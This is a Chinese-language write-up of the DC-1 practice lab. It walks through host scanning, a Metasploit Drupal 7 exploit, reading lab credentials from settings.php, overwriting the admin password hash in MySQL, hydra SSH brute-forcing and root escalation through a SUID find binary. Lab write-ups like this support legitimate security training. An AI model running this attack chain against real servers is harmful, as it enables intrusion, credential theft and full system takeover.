一、主机扫描
(kali作为攻击机和DC靶机都做了NAT地址,都在同一网段中)
1.利用 arp-scan -l
命令扫描同网段内的其他存活主机。
2.利用nmap工具来对目标靶机进行探测
nmap -A 192.168.1.131 -p-
或者:nmap -p 1-65535 -A -sV 192.168.1.131
发现开放了80、22和111端口。80和22端口可以进行攻击,111端口一般是rpcbind漏洞(该漏洞可使攻击者在远程rpcbind绑定主机上分配任意大小的内存(每次攻击最高可达4GB),除非进程崩溃,或者管理员挂起/重启rpcbind服务,否则该内存不会被释放。)不考虑使用。
二、信息收集
上述探测发现有80端口,先进行访问。
利用Firefox的Wappalyzer插件发现管理系统为Drupal 7.x版本(Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,)。网上查询得Drupal 7.x版本存在漏洞,可以利用msf进行攻击。
三、漏洞攻击
1.使用msf进行攻击。
使用serach Drupal
查询可利用的脚本所在:
设置RHOST和payload进行攻击
写入交互式shell python -c 'import pty;pty.spawn("/bin/bash");'
2.进入系统后查看可利用的信息
ls
查看发现有flag1.txt文件,cat flag1.txt
,发现提示信息:
Every good CMS needs a config file - and so do you. (每个好的 CMS 都需要一个配置文件 - 你也是。)
提示配置文件。发现在sites/default中有settings.php配置文件。查看settings.php,发现flag2
flag2
Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
蛮力和字典攻击不是
获得访问权限的唯一方法(您将需要访问权限)。
你可以用这些凭据做什么?
除此之外还在下方发现了数据库用户密码配置:
username="dbuser" password="R0ck3t"
用到mysql数据库,查看是否在运行 ps aux | grep mysql
3.进入数据库
mysql正在运行,用刚才发现的密码进入数据库
查看数据库中的用户信息show databases;
(查看数据库)
use drupaldb;
(选择数据使用)
show tables;
(查看表)
查找到users表,查看表信息select * from users;
发现密码是进过加密的,重置密码,可利/scripts/password-hash.sh脚本进行生成新密码。
进到数据库中修改admin的密码值update users set pass="$S$D8KXQGlApiiMM/WwXJ8mPy5cmDfSBSYfizBVH8z0Rm9.0vM0T12D" where uid=1;
3.登录到系统
密码修改成功后,登录到网站:
发现flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的PERMS 将帮助查找passwd——但是您需要-exec 该命令来确定如何获取shadow中的内容。
查看/etc/passwd文件
发现flag,该服务器开放了22端口,可以用hydra工具进行爆破hydra -l flag4 -P /usr/share/john/password.lst 192.168.1.131 ssh -vV -f -o hydra.ssh
拿到密码 login:flag4 password:orange,用ssh登录
四、提权
按权限查找文件,如果错误则重定向到“黑洞”
-perm:按照权限查找
-type:查是块设备b、目录d、字符设备c、管道p、符号链接l、普通文件f
-u=s:拥有者是s权限
S权限:设置使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份. 典型的文件是passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。
find / -perm -u=s -type f 2>/dev/null
发现find文件,这个文件是有root权限的,且在这个权限下可读可写可执行。
shell命令
find ./ aaa -exec '/bin/sh' \;
得到root权限,查看root下的flag文件
结束。